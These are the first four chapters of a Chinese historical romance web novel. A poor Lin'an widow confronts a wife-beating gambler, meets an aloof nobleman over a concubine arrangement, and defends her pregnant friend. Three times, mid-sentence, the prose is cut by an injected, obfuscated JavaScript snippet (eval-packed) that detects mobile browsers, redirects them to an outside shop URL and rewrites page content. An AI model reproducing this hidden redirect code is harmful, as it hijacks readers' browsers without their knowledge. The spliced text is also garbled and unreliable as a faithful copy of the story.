《娘子庸俗》 1. 爱意 纵使二人已做了多年夫妻,姚木槿却从没告诉过韩迟云,她害怕直视他的眼睛。 他那双眼生得极美,并非桃花妩媚,而是像银河倾入深潭,于夜色之下熠熠映辉,美得清白端正。 原是这般澈净明通的一双眼,姚木槿却总觉得内里好似藏着一把钩子。她没读过什么书,说不出“宝帘闲挂小银钩”这样的文辞,但却知晓那钩子泛着清光,勾在她心上,令她神魂惊动。 每每他垂眸凝视着她的时候,她总感觉自己像是已褪去身上所有外物,臝裎于他眼前,与他十指交扣,身体以几不可察的幅度颤抖着,脖颈渗出一层细汗。 她听到他俯在耳畔唤她的名:“小啾……别怕……” 她猛地颤栗起来,发出一声长长的叹息,想对他说什么,话到嘴边,却被他一字一句吻去。她心里的风雪停了,换作野火烧灼。 ——野火烧不尽,春风吹又生。 拜韩迟云所赐,三十几岁的姚木槿只叹自己是越活越稚气了,倒是二十几岁尚未与他相识的时候,她泼辣,仗义,天不怕地不怕。 * 二十几岁的姚木槿躺在她那间破破烂烂的木屋里,窗外已然天色大亮,可她却还未起身——小腹传来的坠胀感将她困在榻上,很疼,疼得她忍不住蜷起身体。 正在心底叹息着今日恐怕是没力气去担花了,忽听门外响起女人凄厉的哭喊。 哭声横冲直撞,撕开窗纸,一头扎进姚木槿混沌的脑海中。 “又去赌……又要去赌……你让我们娘仨可怎么活啊!迟早把我们全都逼死!” 紧跟着便是男人粗野的嗓门:“臭娘儿们!给老子放开!” “家里就只这些余粮,你尽数拿去赌了,小伢儿吃什么?!” “吃屁!给老子放开!” “你休想!” 话音甫落,但闻一阵叮叮咣咣,似是有人抬脚踹翻了水桶,继之便是女人撕心裂肺的痛呼,听声音是在挨打。 姚木槿倏然睁眼,再顾不得小腹坠痛,翻身由床畔跳下,将鞋一靸,拎起门后的笤帚便冲了出去。 果不其然,门外的石板路上,一个柔弱伶仃的女人正跌在地面挨棍子。 打人的名叫王大顺,乃姚木槿左邻。此人是车轿行一名轿夫,靠着在街市给人抬轿子赚口粮,平素惯爱赌钱,抬轿子赚的仨瓜俩枣,几乎有一大半都被他赌没了。 挨打之人是他的糠糟妻,名叫孙三娘,因性子温软良善,巷里人皆唤她一声孙嫂子。 此刻,王大顺手里举着根扁担,正不管不顾地往孙三娘身上招呼。孙三娘已被其夫打翻在地,饶是如此,却仍是紧拽着王大顺的裤脚不肯撒开。 “住手!”姚木槿拎着笤帚,怒喝一声冲了过去,“大清早的做什么打人!” 孙三娘看到姚木槿,仿佛看到救星,立刻哭喊道:“小啾,小啾帮嫂子拦住他……莫要让他去赌……” 王大顺的扁担眼看着又要打下,却被姚木槿举起笤帚架住了。 姚木槿推着笤帚用力向前搡去,王大顺的裤脚还被孙三娘拽在手里,两面夹攻之下,弄得他一个趔趄,险些跌倒。 “呸,”王大顺冲地面啐了一口,斜睨着姚木槿,“我打我浑家,你他娘的少管闲事!” “我偏要管!今日这事,我管定了!” 姚木槿说着近前两步,从地上费力地搀起孙三娘。孙三娘的手像是长在了丈夫身上似的,这会儿从裤脚换到衣摆,反正就是紧紧抓着不许他走。 “小啾,你来评评理,”孙三娘边哭边诉苦,“家中拢共只剩这些口粮,这挨千刀的又要拿去耍钱,摆明了是要让我们娘儿仨饿死!” 姚木槿顺着孙三娘的目光看去,这便瞧见王大顺左手拎着一个旧布袋,内中约有半袋粮米。 “饿你个腿!灶房里不是还有一袋白菘?!”王大顺骂骂咧咧。 “把粮给我,”姚木槿冲着王大顺伸出手,“这些原就是我的粮,我现在要拿回去。我不借了!” 只一句话便将王大顺未及脱口的骂词全堵在了喉咙里,因为姚木槿没说错,这袋米确实是前些日子孙三娘从她那儿借的。彼时她借给他们一斗粮,王家四口吃了小半,尚余眼前这些。 “姚娘子最是仗义,你行行好,这些粮米既已借给我家,那便是我家的,哪有再要回去的道理。”王大顺眼珠子滴溜一转,面上堆笑,开始阿谀。 “给我。”姚木槿不想和他多费口舌,只定定地说了两个字。 王大顺见此招无用,立时又生一招:“你放宽心,老子今日手气定然不错,待赢了钱,必定加倍还你。三倍,如何?” “给我。”姚木槿根本不为所动。 王大顺被两个女人扯着,见左右都骗不住,也懒得再装模作样,拉下脸冲姚木槿喝道:“少他娘的摆谱,你算老几!老子告诉你,这袋粮老子今日就是要拿走!不仅拿走,老子且不还你,看你能如何!” 他这是摆明了要做无赖,欺负姚木槿一个孤身小寡妇。 谁知姚木槿却抿唇一笑,从容对答:“我是不算什么,但韩相爷可是厉害人物,捺死你这种小喽啰,就像捺死一只蚂蚁一样容易。你该不会没听说吧?相府的韩官人要纳我为妾,待我入府,先让人收拾了你这不要脸的混账!” 此言一出,王大顺的面色瞬间僵住。 姚木槿口中所说的韩相爷,姓韩名辙,于朝中任平章军国事一职,总揽军政大权,受封平原郡王,其母乃太皇太后吴氏之妹,今皇后韩氏乃其侄孙女。 在外戚与权相双重身份的持佐之下,这位相爷已成为临安府权势滔天的大人物,放眼整个临安,几无一人敢违拗他——纵使御座上的九五之尊,亦是对其言听计从。 而那位将要纳妾的韩官人,姓韩、名翌、字迟云,其乃韩相爷亲侄,目下居于相府,暂领宣议郎之职。听言不日便将擢为閤门祗候,前途实在无可估量。 可王大顺到底是市井间走狗之辈,并非三言两语就能被吓住。初初惊怔过后,他立时摆出一副不屑神色: “姚小啾,你他娘的少瞎编了。韩相爷那样的高门大户,纵使纳妾也必得是读书人家的黄花大闺女,像你这种死了男人的破烂,嘁,恐怕韩官人连正眼都不会多看你一眼。想进相府?发你的春秋大梦去吧!” 姚木槿被对方骂做“死了男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274017|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的破烂”,却一点儿也没生气,只将双臂抱于胸前,唇边噙着一抹冷笑反问道:“前些日子来的那几位官爷,你是没见着么?那么大的架势,送了那么些好物什给我,他们怎么不送你啊?” 孙三娘在一旁将王大顺的衣裳用力扯了扯,顺着姚木槿的话小声提醒道:“听说是余杭县的县老爷,你不是也瞧见了?” 王大顺用力皱眉一想,好像还真有这么回事。那日他亲眼看到几位拿腔作势的人进了姚家,先时还以为姚木槿犯事了,后来才发现那些人一个个堆着满脸笑,却原来是说合。 姚木槿见王大顺闭口不再嚷嚷,心知对方已被她唬住大半。但她并不打算轻易揭过,而是想趁热泼油,再下一剂狠药,让这腌臜泼才彻底怕了自己,今后也好给孙嫂子留条活路。 思至此,姚木槿清了清嗓子,一身浩然气地继续说:“实话告诉你,我与韩官人早已相看入眼,过几日待我进了相府,我让韩官人先打你五十板子,再给你脸上刺了墨字,送去牢城营!” 王大顺听闻此言,面色愈发僵硬苍白,于是谄笑道:“姚娘子大人有大量,犯不着与我们计较……娘子如此貌美,必能讨得韩官人疼爱。” 姚木槿这边扎着势子威胁王大顺,隐约听得身后传来凌乱的脚步声,似乎有人近前。但她现在顾不得这些,只想乘胜追击,纵使狐假虎威又如何,对付像王大顺这样的恶棍无赖,就得用更为无赖的手段。 “韩官人自然疼我,”姚木槿忍着腹痛,继续说道,“况且,我根本无须讨喜,韩官人早就对我爱得要死要活哩,我说东他决计不说西。将来我便是最受宠爱的小姨娘,我看谁还敢欺负……” 她话还没说完,却听身后传来一声轻咳,继而响起一个低沉净粹的嗓音: “你说谁爱你爱得要死要活?” 姚木槿下意识循声回头看去,这一看却是整个人愣在原地。 本是空荡荡的闾巷不知何时已站了五六个人,为首之人是个身量颇高的男子,头戴白玉小梁冠,身披雾山蓝杭罗对襟衫,鼻如峭岩,目若悬珠,姿容甚美。 眼下正值孟夏时节,天光一碧万顷。他这一身雾山蓝,衬着头顶长空如洗,好似流云出岫一般,刹那间晃了姚木槿的眼睛。 可小腹持续的疼痛和急于收拾王大顺的迫切,都让姚木槿没心思欣赏眼前这位美人,况且此人突然出现打断自己,实在惹厌。 “你是何人?我说什么与你何干?”姚木槿双眼圆睁,不甘示弱地反问道。 那男子微微蹙眉,垂眸看着这个比自己矮了将近一头的女人,片刻后薄唇轻启,吐出五个冷冰冰的字:“……鄙人,韩迟云。” 韩迟云话音未落,姚木槿转身就跑。 “站着!” 韩迟云在她身后发出一声喝止。声音清透,像是融化的冰,沁在肌肤上,令姚木槿没来由地心慌。 她被这心慌捆缚,挣脱不得,于是干脆一不做二不休,拎着笤帚直面对方,硬气问道:“你待如何?” 韩迟云没回答,上前两步,一把抓住姚木槿手腕,拽着她就往屋内拽去。 入得房内,回身将闩一落,门便锁上了。 2. 调戏 韩迟云抬手将姚木槿向前一送,姚木槿踉跄几步,扶着桌子才将将站稳。 眼见韩迟云把门锁上,姚木槿更是忐忑,质问道:“你想干什么?!” 韩迟云没理她,蹙眉向屋内环顾,孰料扫视一圈也没找到想找的东西,无奈之下只得脱了自己身上那件雾山蓝外衫,扬手一扔,将姚木槿劈头兜住。 姚木槿乍见韩迟云脱衣裳,惊得呼吸一滞,刚想张口骂他,就见那件华贵衣衫“呼”地一下盖在了自己身上。 “把衣裳穿好,”韩迟云将脸转向一旁,容色古怪,“……成何体统。” 姚木槿眨巴着眼睛,低头看了看,这才蓦然意识到,适才她为阻止王大顺殴打其妻,衣服都没穿好就跑了出去。 眼下她只着一条葛布裈和一条抹胸,外面罩了件单薄的褙褡,双臂裸露,酥//胸半坦——这打扮在贫家农女之中无甚稀奇,但在韩迟云这样的贵公子眼里,确实是“不成体统”。 韩迟云的衣衫上有熏香之气,姚木槿抽了抽鼻子,似乎是沉水香的味道,沉郁端正,亦如空山层林一般寂静。但姚木槿此刻感觉小腹疼得愈发厉害,甚至隐约闻到了血腥,她怕自己不小心将如此金贵的衣衫弄脏,遂将其拿开,随手搭在了椅背上。 “劳烦韩官人稍待,奴家自去换身衣裳。” 话毕,姚木槿转身沿着墙角木梯向二楼走去。 趁着对方在楼上更衣的功夫,韩迟云捡屋内一把木椅坐了,抬起眼眸,细细打量着这间破旧房屋。 房子是木架构的二层小楼,底层大屋被人用草帘从中间一隔为二,外间摆着一张烂桌子和两把粗旧的灯挂椅,墙角立着面盆架与一面盝顶方柜,除此之外再无旁物;内间隐约可见一张卧榻,榻周悬着粗纱帘。 南边除了房门还有一扇支摘窗,窗外便是石板路,其旁一条清河淌过,水声潺潺,似终日落雨。 姚木槿所居之处已是临安城外,位在清湖堰北、余杭桥南,是一条名唤“黑羊”的陋巷。 昔年靖康之乱,衣冠南渡,官家驻跸杭州,升杭州为临安府,将之唤作“行在”。不过短短几十年,这座城便成为天下巨富之地。城外虽无民坊,却仍设有外城厢,厢内多有陋巷。达官贵人与稍有些钱财的民户住在城里,贩夫走卒们则因赁不起城内房屋而大多居于城外。 韩迟云的马车停在巷口,他带着仆从走进巷子,一路所见皆是与姚木槿居处相同的破烂屋舍,心知住在此处的俱是力夫仆妇者。 正思量间,身后传来木梯“嘎吱”、“嘎吱”的声音,是姚木槿换好衣裳走了下来。 她刚才在楼上心惊肉跳了半晌,自己为救人瞎编排的那些话语,好巧不巧恰被对方听去,也不知会如何气恼。但事已至此,姚木槿想,大不了做了他的侍妾之后,使出浑身解数好好伺候他。 于是她佯装镇定,先对着韩迟云拜了个万福,学着自己见过的那些官宦娘子的贤淑模样,礼道:“不知韩官人今日至此有何贵干?” 韩迟云收回望向窗外的目光,神情之中却并无气恼,只透着些嫌厌,但那份嫌厌又被他的学识和教养覆住,若隐若现地看不真切。 “有人告诉我,说你收了余杭县一笔钱财,充作奁产,许诺入韩家做妾。”他眉心微蹙,音声清毅。 “是,”姚木槿痛快地承认,“余杭县老爷对奴家说,韩官人年已弱冠,是时候婚娶。相府打算在娶亲之前先置一房妾室伺候您,可挑了许久都未挑中。他们说我十分合适,打算过些时候捡个吉日,带我去见魏国夫人。” “把钱退回去。”韩迟云肃然言道。 姚木槿一愣,嘴比脑子快,脱口便说:“不退。” 韩迟云倏然看向她,眸色幽深,内中嫌厌却似巷口顶起青石板的细草,险险就压不住了。 “人可以穷,但志不能短。”韩迟云一字一顿地说,“你平素以何为生?若是实在没有生计,我可以荐你去裴侍郎家中做女使。” 话毕,他又将姚木槿这间茅椽蓬牖的房子打量几眼,神情里浮现出一种平静的轻蔑。 关于纳妾之事,他前日听闻余杭知县给一位姓姚的美貌寡妇送了一大笔钱,意图撮合他们二人,心内已觉不齿;今日登门一看,果然便是个毫无骨气和廉耻的穷女人,为了些钱粮,什么话都说得出口,什么事都做得出来。倘若真让她得逞,必然要玷污他的清白名声。 “奴家有正经营生。”姚木槿听出了对方语气里的鄙夷,于是赶忙回答。 “做什么的?” “卖花。” 听得此语,韩迟云眼中的轻蔑略消了些。本朝并无重农抑商之策,市井间足有三百六十行当,走街串巷的货郎与卖花娘子,确实做得是正经买卖。 “既是如此,你应该知晓,吃人嘴软、拿人手短。你平白受人钱财,难道不觉良心难安?世间所有得到,皆是拿失去换来的。取财不正,必有灾厄。”韩迟云耐着性子继续劝道。 姚木槿听着这些话,心底浮起丝丝委屈。她虽贫穷,但绝非恬不知耻之人,盖因眼下出了要紧事,她急需一大笔钱,这才答应去韩家做妾。倘非这般,她又何苦决定搭上自己的后半生,去那牢笼一样的高门贵家做小伏低——她是野雀儿,再穷再苦也不稀得被豢养。 “还不了,钱已经不在我这儿。”姚木槿看向韩迟云,凝声答道。 “钱在哪儿?” “全使完了。” 此言一出,韩迟云眼中的嫌厌再压不住,似波涛迭宕,一澜又一澜翻涌而出。 “一千贯你皆挥霍尽了?!”语气里除了嫌厌,还有震惊和愤慨。 余杭县给了姚木槿一千贯。一千贯,这可不是个小数目。纵使韩迟云不曾持家管账,可他熟读政经之事,自是知晓:绍兴十年,一千贯在福建路可以买下一条商船;绍熙五年,赣县以一千五百贯建成县学一所;更有甚者,一千贯可供给一个普通平民之家将近十年的吃穿用度。(注释1) 这么多钱说使就使完了,是怎样穷奢极侈的女人才能做出这种事?! 姚木槿张了张口,原打算向对方解释一下她没有挥霍,可话到嘴边却突然想起,用钱之处与韩相爷颇有关涉。韩迟云虽是相爷堂侄,但却如亲生儿子一般看待,此刻最好不要说与他知,免得徒生事端。 她性子直率,想着反正过些时候就要入府去伺候韩迟云,不若此刻把眉眼低下,尽力讨他欢心。转而又想起前些日子,余杭的县老爷劝她去做妾时对她说起韩迟云,说他襟怀坦荡,其人琼林玉质,不染纤尘。 这些叽叽歪歪的四字词语,姚木槿初时没太听明白,可她今日亲眼见到韩迟云的时候,蓦地感觉自己懂了——他很干净,眉目剔透,心思端正,甚至就连眼中那份鄙夷,都是有一抹清白在下面衬着的。 可男人都是偷腥的猫,天底下哪有猫儿不喜荤腥?纵使有,反正她姚木槿活了这么些年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274018|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来没见过。若能让她见一见,也算开开眼界。 姚木槿思量着这些有的没的,心里已拿定主意。但见她缓步走向韩迟云,行至近旁,将手搭在他肩上轻轻一揉,巧笑倩兮。 “官人息怒,若是官人不喜……那些钱财,奴家将来想法子慢慢还了便是。” 韩迟云被女人的纤手搭在肩上揉捏着,只觉心里蓦地溢起一阵烦躁。他猛然将肩一甩,甩开了姚木槿的手。 “姚娘子,请自重。”韩迟云的声音已变得凛冽,冰碴子似的刮在姚木槿心间。 姚木槿却仍在唇边噙着一抹讨好的笑,打定主意要好好伺候面前这男人,于是斜倚身子偎在了韩迟云的腿上:“官人……” 孰料身子才刚挨上就被对方抬手一推,姚木槿没站稳,“呀”地一声惊呼,趔趄着跌在地下。 “你别得寸进尺!”韩迟云怒斥着,从木椅上站了起来。 跌坐地面的瞬间,姚木槿感觉身下一股热流涌出,小腹登时疼得更凶。她俯在地上,咬着牙缓了许久,那隐痛牵着她,让她恨不能把自己蜷成一只虾米。 韩迟云居高临下看着姚木槿,看了一会儿似乎也发觉不妥,疑惑问道:“你怎么了?” 姚木槿倒是一点儿不扭捏,大大方方回答:“奴家恰逢月事,身子不大舒服。” 话音甫落,韩迟云的脸“唰”地一下就红了,甚至连耳朵尖都红得透亮。他僵立原地,张口结舌,再说不出一句完整话来。 “你……那……我……并非……” 姚木槿拎着裙摆小心站起,抬眸看到韩迟云白皙的面皮上染着红霞,适才的冷冽与鄙薄已完全不见踪影,倒显出一副憨然的大狗子模样,“扑哧”一声就笑了出来。 “官人莫怕,奴家不会弄脏了你。” 韩迟云踟蹰着,好半晌才挤出一句:“我没觉得会弄脏。” 姚木槿微怔,片刻后又是“扑哧”一笑,暗叹面前这位澄净的贵公子实在是又聪明又蠢,不过区区月事就能把一张俊脸红成这样,若是床事,还不知要怎样头不是头、脚不是脚。 忽而又想起关于韩迟云的传言,如此端正之人,家中无妻无妾,甚至连个通房丫头都没有……姚木槿抬手掩唇,眸中闪过一道顽劣的微光——韩迟云,他不会还是处子身吧?! 思至此处,心头倏地漾开一片绵软的痒,莫名就想逗一逗他,哪知刚要开口,却听门外传来激烈的争吵声。 “让开!让我进去!你们这些狗腿子堵着作甚?!”是个年轻男子的嗓音,语带愤怒。 跟着响起另一年轻男人的嗓音,应是韩迟云带来的随侍之一:“官人在房内有要事,闲人不得扰乱。” “去你大舅的要事!滚!” “拦住他!” 纷杂的打斗声之后,便是某人抬脚踹上门板,“砰”地一声响,门扇簌簌落下尘埃。可这房门是从里面落了闩的,那人连踹两次都没踹开。 “小啾!开门!姓韩的,你敢欺负小啾,我宰了你!” 韩迟云双眉紧皱听着门外的动静,片刻后行至门边,将门闩抽了出来。门外之人不提防里面突然卸力,跌跌撞撞地一头扎进屋内,险些摔倒。 待他站稳,韩迟云这才看清,来人是个与自己年岁相仿的男人,身着粗布裋褐,浓眉大眼,相貌倒是颇为英朗,只可惜言谈举止实在粗鄙。 “三哥,”姚木槿抬手扶住那男人,“我没事。” 3. 男人 被唤作“三哥”的人姓程名厌,与姚木槿自小一起长大,算是青梅竹马。十八岁那年恰逢城内募兵,他因着体魄强健,顺利被征入兵营,目下作为一名潜火兵,隶属于城西厢都巡检使司。(注释1) 潜火兵整日负重操练,练出一身结实筋肉,适才门外那几个妄图阻拦的仆役,皆被程厌不费吹灰之力就撅到一边去了。此刻他站在韩迟云面前,眼蓄怒意,似乎打算把韩迟云也撅到一边去。 姚木槿见势不对,生怕程厌冲动惹祸,赶紧挡在了韩迟云身前。 “三哥怎么突然来了?” 程厌伸手去拉姚木槿,将她拉回自己身旁,沉声道:“今日不当值,我来接你进城。他干什么来着?” 边说着话,边撩起眼皮睨向韩迟云。 程厌与韩迟云身量接近,一个修颀清贵一个壮实稳当,气势上倒是谁也不输谁。此刻两人对面而立,心里都窝着一股邪火。但韩迟云到底蹇傲,不屑与兵腿子论短长,遂只是冷着脸不说话。 “……他来,随便坐坐。”也不知为何,姚木槿隐瞒了韩迟云让她还钱的事。 “坐够了没?”程厌冲韩迟云抬了抬下巴,“坐够了就滚。” 韩迟云似乎再忍不下去,陡然发出一声哂笑:“慈幼局出来的都这么不懂礼数?我看程金羽的胥长也别做了,趁早让贤。” 话一出口,姚木槿和程厌皆怔在原地——他居然知道他们是慈幼局的人?!他暗中调查过他们?!(注释2) 姚木槿的心猛然提到嗓子眼,赶紧解释道:“不关程妈妈的事,程妈妈在慈幼局任劳任怨,是我们这些人天性粗鲁,还望韩官人莫怪。” 韩迟云垂下眼帘,定定地看着姚木槿。忽然发现她眼角有一颗小痣,随着她的言说,那糜丽的红色亦微微颤抖着,像一滴诱人的、悬而未决的泪。 因着程厌的半路打岔,眼看今日之事没法再谈下去,韩迟云也不打算继续在此耗费时辰。他轻咳一声,拂袖向门外走去。 与姚木槿擦肩而过时,韩迟云略顿了脚步,道:“你身子不适,好生歇息……其他事改日再说。” 话毕,他快步离开了姚木槿这间破烂木屋,连带着门外那些随从也“唰”地一下没了踪影。 待诸人皆离去后,姚木槿让程厌掩了房门,她自己则蹙着眉头在木椅上慢慢坐下。 程厌瞧着她脸色发白、手捂小腹的模样,便问道:“日子提前了?” “月月都不准的。” 程厌叹了口气:“以后刮风下雨就别出去担花了,闹得身子不好。” 姚木槿笑嗔:“你又不懂。” “我哪儿不懂了?”程厌不服。 “你懂什么?” “我……我……” 我了半天也没我出个所以然来,程厌只得挠了挠头,讪讪地在另一边椅子上坐了。 姚木槿确然没说错,程厌尚未娶妻,亦无子嗣,只是从前在慈幼局的时候,男男女女混在一处长大,所以对于女子之事,他并非全然迷茫,大抵便是——知,但只知其一;懂,但懂得不多。 椅子都还没坐热,程厌又站了起来,对姚木槿道:“你回榻上躺着,我去给你买一碗姜糖醪醩。” 姚木槿也没跟他客气,应了一声,这便掀起草帘进了内间。 不一会儿,程厌端着一碗热气腾腾的姜糖醪醩回到姚家。他将瓷碗放在桌案,轻手轻脚走向内间,但却没进去,只透过草帘看着睡在榻上的姚木槿。 草帘朦胧隐约,隔开里外二人,像是隔开了一场陈年旧梦。旧梦里藏着昔日的欢声笑语,以及如今的不甘心。 “小啾……”程厌声音很轻地叫了一声,“起来了,趁热把醪醩喝了。” 草帘后面,姚木槿朦朦胧胧地答应着,片刻后从榻上坐起,揉了揉眼睛,靸鞋下榻。 待行至桌旁一看,瞬间眼前明亮——程厌买回来的姜糖醪醩里不仅有姜汁和红糖,还窝了两个荷包蛋,光滑饱满,十分诱人。 姚木槿先去灶房洗漱,而后回到桌旁,拿起汤匙,一口一口开开心心地吃起来。 程厌坐在一边看她吃,看着看着忽然说:“……他早就知道自己要死,死前非与你做夫妻,这下可好,他是撒手上西天了,却害得你平白成了寡妇,给那姓韩的作践。” 姚木槿拿她那双姣美的眼睛看向程厌,面上浮起一丝戏谑:“二哥都死了这许久,还要被你骂。他在那边怕不是要打一万个喷嚏哟。” “他就是知晓你最讲义气,不会拒绝,所以才敢如此……他心里只有他自己!狗东西!”程厌气不过。 姚木槿倒是越听越好笑,咬了一口荷包蛋,口齿不清地说:“不怪他,是我自己愿意的。” “我自己愿意”这五个字一出口,程厌的眼眸瞬间黯淡几分——皆是青梅竹马一起长大,可他从来都落在那人后头。这事他不是不明白,可他在一旁看着,就是不甘心。 沉默片刻,程厌似乎下定决心,沉声说道:“小啾……其实一直以来,我对你……” “三哥!”姚木槿蓦然拔高嗓音打断了程厌,“别说出来。……有些话,不说出来就还有余地,说出来,就什么都没了。” 程厌低下头,闭了嘴。那样高大壮实的男人,将自己窝在一张小小的木椅子上,莫名显出一段摸不到边际的委屈。 姚木槿放下汤匙,扯了扯程厌衣袖,唇边溢开一抹笑:“你还记得小时候吗?咱们六个人整日同吃同睡,现在却是生的生、死的死。三哥,我们就这样一直过下去好不好?……不要改变什么,我不想再改变了。” 她的话语温柔,笑容清浅,内中却是一片枯荷听雨声。 姚木槿口中的“六个人”,说得便是同在慈幼局长大的六个孩子——大姐姚芙蓉,二哥庾岭,三哥程厌,四妹姚木槿,五妹顾沾沾,以及小妹姚青莲。 慈幼局孩子众多,但他们六个是由同一位乳娘养育的,故而关系最为亲密。可惜世事叵测,命贱如草,如今大姐、二哥、小妹皆已不在人世。六去其半,姚木槿不想再失去另外两个了。 程厌沉沉地叹了口气,话锋一转,问道:“你真打算去韩家给韩翌做妾?” 姚木槿抿唇笑着点头。 “瞧他刚才那副样子,我看着就恼。真想给他两拳,打得他满地找牙。” 姚木槿被程厌的糙话逗乐,掩着口“咯咯咯”地笑,笑声清越,似檐下风铃,菩提明空。 待笑够了,她再次扯了扯程厌衣袖,认真解释道:“你放心,三哥,这些事我早就已经盘算好了。反正我又不图他的情爱,我进韩家,不过就是拿人钱财替人办事罢了。他瞧不上我,估摸着也不会愿意让我给他生小伢儿。等他娶了正妻,再纳上五六房小妾,估计连看我一眼都懒得看。到时候我想个法子让他放妾,之后他走他的阳关道,我过我的独木桥,两不相干。” 程厌听姚木槿如此说,心下稍安,道:“你向来是个有主意的人,既然你已经想好,三哥也不拦你,但你记住,无论何时,只要你需要,三哥都会帮你。” 姚木槿笑着又塞了一口荷包蛋到口中,腮帮子鼓鼓,眉眼弯弯。 待把一碗热腾腾的姜糖醪醩全部吃完,腹中疼痛也好了许多,姚木槿收拾了碗匙,这便打算与程厌一起进城去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274019|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻顾沾沾。 五妹顾沾沾原本是在酒楼茶肆走动卖唱,后来被一位官人相中,给人做了外室。那男人在城里为她赁了间房屋,就在御街东边的善履坊。她性子软弱,眼下又怀有身孕,故而只要程厌不当值,就会来接姚木槿一起去探望。 程厌在余杭桥头拦了一辆送菜牛车,给了车夫五文钱,二人这便搭上这辆顺风车,一路往城内行去。 杭城的初夏已是炎热,骄阳如爇,寥廓碧空却望不见尽头。姚木槿抬眼看了看天,没来由地忽然想起今晨初见韩迟云,那样清冷的人,拿一双眼睛定定地看着她,看得她心慌,心躁,心烦意乱。 “真想给他两拳,打得他满地找牙……”姚木槿学着程厌的话语,小声嘟哝道。 “你说什么?”程厌坐在姚木槿身旁,却没听清她的嘟哝。 “没什么。” 姚木槿笑着摆了摆手,阳光扑在她的眉眼间,又暖又顽皮,仿佛她这一生不曾见过灾殃,惟有明媚与敞亮。 牛车慢吞吞地走着,进了余杭门向东转去,从架阁库过万岁桥,又过了观桥,这便行至御街。 姚木槿在御街的糕果铺花二十文钱买了一盒定胜糕和一罐乌梅糖,这两样都是顾沾沾爱吃的。顾沾沾尚处孕早期,孕反严重,吃不下荤腥饭食,就只喜欢酸酸甜甜的糕饼果子。 行至义和坊,二人道谢下车,肩并肩沿着坊巷一路东行。善履坊在义和坊东边,过了桥便是。 哪知刚拐进善履坊地界,距离顾沾沾的居处尚有一段距离,这便听得前方传来阵阵吆喝谩骂之声。 “贱骨头!惯会勾引男人!老娘今日就是来教训你的!” “你们放开我……放开我……” “放开我”三个字飘入耳中,姚木槿登时脸色大变,拔腿就向前跑去——她听出来了,那是顾沾沾的声音。 顾家的小院里站了六七个女人,为首的妇人衣饰华丽,但却满面怒容。而顾沾沾则跪在地上,被人扯着头发,面颊红肿,其上还浮着指印,一看就是刚吃了耳光。 姚木槿冲进院子,用力推开扯着顾沾沾头发的女使,怒道:“青天白日就敢欺负人!还有没有王法?!” 顾沾沾看到姚木槿,适才一直强忍着的泪水这会儿再憋不住,呜呜咽咽地哭了起来。 “你是谁?少在这多管闲事!”为首妇人柳眉倒竖,张口斥道。 姚木槿也不甘示弱,立刻回敬:“你又是谁?乌鸦站在牌坊上——好大的架子。” 顾沾沾被姚木槿扶起,边哭边小声说:“……是周家大娘子。” 哦,姚木槿明白了,原来就是那个霸占了顾沾沾的男人他家里正妻,感情今日唱得是一出大婆打外室的戏码。 周家大娘子抬手指着姚木槿,一根食指都快戳到她脸上,啐道:“贱蹄子,我看你也不是什么好东西,一个两个都长着勾引男人的脸!我今日且把你们臭脸撕烂,让你们再没法子勾引男人!” 姚木槿才不吃她这套,叉着腰就回敬: “说谁贱蹄子?你道谁勾引谁?我妹妹原本好端端在市间卖唱,是你家官人没脸没皮三番四次引诱,引诱不成还要胁迫。你治不住自己男人,就会欺负女人,柿子专捡软的捏,欺软怕硬的都是奸贼!你男人管不好他胯/下二两脏肉,你有本事回家就给他剁了,你敢剁了我才服你哩!” “胯/下二两脏肉”一出口,霎时便听得院子里响起一片抽气声。她这话着实够糙,周家大娘子带来的女使们全都被她骂红了脸。 大娘子本人亦是被姚木槿骂得面皮涨成猪肝,遽然扬手,眼看着一巴掌就要落在姚木槿脸上。 4. 弃婴 这恼羞成怒的一巴掌终是没打下来,只因她扬起的手臂被人牢牢攥住。 “什么人?!放开!”周家大娘子回头看着身后突然出现的男人,眼中冒火。 程厌也不与她啰嗦,大手似钳子一般钳在她手臂上,就是不松手。 “放开!你再不放开,我要告你非礼!你们……你们都愣着干什么!” 自这个魁梧壮健的男人稍一抬手就将大娘子制住之后,跟随周家大娘子一起来的那些女使们尽皆惊呆在原地。此刻听大娘子一喊,诸人这才反应过来,但却谁也不敢上前与程厌冲撞。 倒是差点儿挨耳光的姚木槿发话了:“三哥,放开她吧。” 程厌松开了蟹钳似的手,周大娘子冲着他狠啐一口,恶声骂道:“有娘生没爹养的杂种!” 